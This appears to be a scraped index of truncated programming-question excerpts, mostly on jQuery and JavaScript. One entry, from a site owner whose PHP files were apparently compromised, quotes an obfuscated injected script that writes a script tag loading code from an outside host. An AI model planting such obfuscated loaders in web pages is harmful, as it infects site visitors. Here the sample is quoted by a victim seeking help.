jquery

JQuery Overlay - wrapInner method

I am trying to create an overlay for a div. I am attempting to accomplish this using JQuery. This what the JS looks like: $('#container').wrapInner('<div />') .css('opacity', '0.5') .css('z-index', '2') .css('background','black') .attr('id','overlay') } }; Update: This is the markup before the JS f...

is GWT right for me?

I've been a C++ programmer for 15 years... I've done NO Java development... I HAVE built websites with HTML, CSS, Javascript and PHP... Now, my question is this: Is the productivity gain I'll get from using something like GWT really worth the learning curve for me? I don't really have a strong desire to learn Java... I've never used Ecl...

Insert /edit JS jQuery.

Hello. I have this script: <? $query = mysql_query("SELECT * FROM azzdk") or die(mysql_error()); $row = mysql_fetch_array($query); ?> <p> <script language="JavaScript"> function myEditable(e, act) { if (act == 'click') { // lav indholdet af span om til et input felt og sæt et onblue event på den e.innerHTML = '<inp...

Wrap some specified words with span in jQuery?

Hello I'd like to know the most convenient way to wrap some specified words with span-tags. Example: I have a word, which is dog. Here's the original text: I have a dog, do you have a dog? And output should be like this: I have a <span class="highlight">dog</span>, do you have a <span class="highlight">dog</span>? Simple problem ...

Iframe malicious code in PHP files?

I found the following code in PHP files in my website. I think someone just able to hack my ftp or with some way he's able to add this script in my PHP files, don't know how. <script>/*Exception*/ document.write('<script src='+'h&)t()#t@$^p^^(:&#/&/!)!@n&o&&$$@v@)!o)t@$e$!))k)^a)@!-$&&@r$u!!.)&u$!i(#m)#^s#()e$#$r#v$^(.!$#)n&e&)t).#p&&)@...

How can I prevent jquery from selecting a parent when I click on one of the children in that parent?

Hi all, ok quick scenario: html: <span class="answer">blah<input type="radio" value="1"></span> jquery: $("span.answer").click( function() { check = $("input", this); check.attr('checked', check.attr('checked') === true ? false : true); ); Ok so this will check/uncheck the child radio input inside the selected span when I click ins...

Jquery hasClass() - check for more than one class

Hi, With if(element.hasClass("class")) {//do stuff} i can check for one class. Is there an eays way to check wether "element" has any of many classes? I am using if(element.hasClass("class") || element.hasClass("class") ... ), which isn´t too bad, but I am thinking of something like if(element.hasClass("class", "class2"), which unfortu...

How to set different baseUrl path in jQuery ajax requests in development and production mode?

My baseUrl path for jQuery ajax requests is different in development and production mode. How can I set it in some kind of config.ini file to switch it easily. Rightnow I'm using a baseurl.js file containing just baseurl path. In production mode, I change this variable via shell script. What should be better approach? edit To make th...

jQuery customizations are not loading smoothly (instead, the original appears and then it is modified)

Hi all -- I am working on a site using the Squarespace CMS system, and have added some simple jQuery to remove some automatically added text that comes up when filtering content (specifically "Entries in" text). This worked smoothly without any problem until I added Google Translate script into the footer. Now the removal of the "Entri...

Client-side templating frameworks to streamline using jQuery with REST/JSON

I'm starting to migrate some html generation tasks from a server-side framework to the client. I'm using jQuery on the client. My goal is to get JSON data via a REST api and use this data to populate HTML into the page. Right now, when a user on my site clicks a link to My Projects, the server generates HTML like this: <dl> <dt>Cl...

how to rebind array to dataTables.net grid

Hi, I am using dataTables.net jquery grid to display data in html table. I couldn't find a method to set the array as datasource dynamically and rebind the grid. Please let me know. ...

Integrating a javascript object with jquery

I have this js object which I got from php through jason_encode(). This object has 2 objects, Name and Video. Then through a for loop I distribute the names into divs. My problem is I need to create a link in each div that would create a dialog that displays the video. I'm basing this idea from the jquery UI example: http://jqueryui.co...

JavaScript callback function

Hi, I have this jQuery script: $(content).find('data').each(function(){ // parsing some data $(this).find('something').each(function(){ $(this).find('something new').each(function(){ // etc. }}; }); }); ...and I want to call function XYZ() after this script has finished. This isn't working (it will call fu...

HTML form - when I hit enter it refreshes page!

Is there a way to make a form NOT refresh or call anything when you hit "Enter" key on your keyboard? Thank you so much!!! I found this code for preventing Enter from working, but it DOESN'T work in IE :( $(document).ready(function() { $(window).keydown(function(event){ if(event.keyCode == 13) { event.preventDefault(); ...

Replacing inside javascript code with innerhtml?

Hi folks, Such a simple thing I need to do, and it doesn't seem like any of the regular swf players will meet my needs, so I think I need to do this workaround. I just need to be able to toggle between a high quality and a low quality .flv video. So I'm thinking of just having two buttons with onclick events to change the innerhtml o...

Algorithm: optimal way to rearrange a list from one order to another?

EDIT: I'm not sure that my original question is clear enough. I need an algorithm that will compute the minimal sequence of moves to rearrange an array from one order to another. It is known that both arrays will contain the same elements (no duplicates) and have the same length. For example: reorder( ['d', 'a', 'c', 'b', 'e'], [...

Help me with setTimeout() please.

Hi there!I guess I need help on this one.I'm not new to Javascript but then I realize I don't know how to use setTimeout(). I have tried this: $(document).ready(function(){ setTimeout('changeit()',1000); // I have also tried setTimeout('changeit',1000); // var t = setTimeout('changeit()',1000); <--- tried also something like this....

How should I initialize jQuery?

I have seen this (I'm also using it): $(document).ready(function(){ // do jQuery }) and also this (I have tried lately): (function(){ // do jQuery })(jQuery) both works fine. My question is what is the difference of the two ( except on how it looks ). Which one is more proper to use?. Can you give me some pro's and con's for ...

Facebox plugin is not removing previous content when used with live

Hi, I am using facebox in the content that I have loaded with ajax Normally, the plugin removes previous content, so clicking multiple times on the same link would still show the one image. But not used with live. It will stack up the images Setting it to empty below will not work??It already does that in the plugin also? $('a[rel*=...

can jquery toggle the original css(style.css) value and the new value(set in the .animate{})?

erm...can jquery toggle the original css(style.css) value and the new value(set in the .animation{})? $(function() { $('a.maximize').click(function() { $($(this).attr('href')).animate({ position: "absolute", top: 0, left: 0, height: '99.5%', width: '99.5%', opacity: 1, },1000...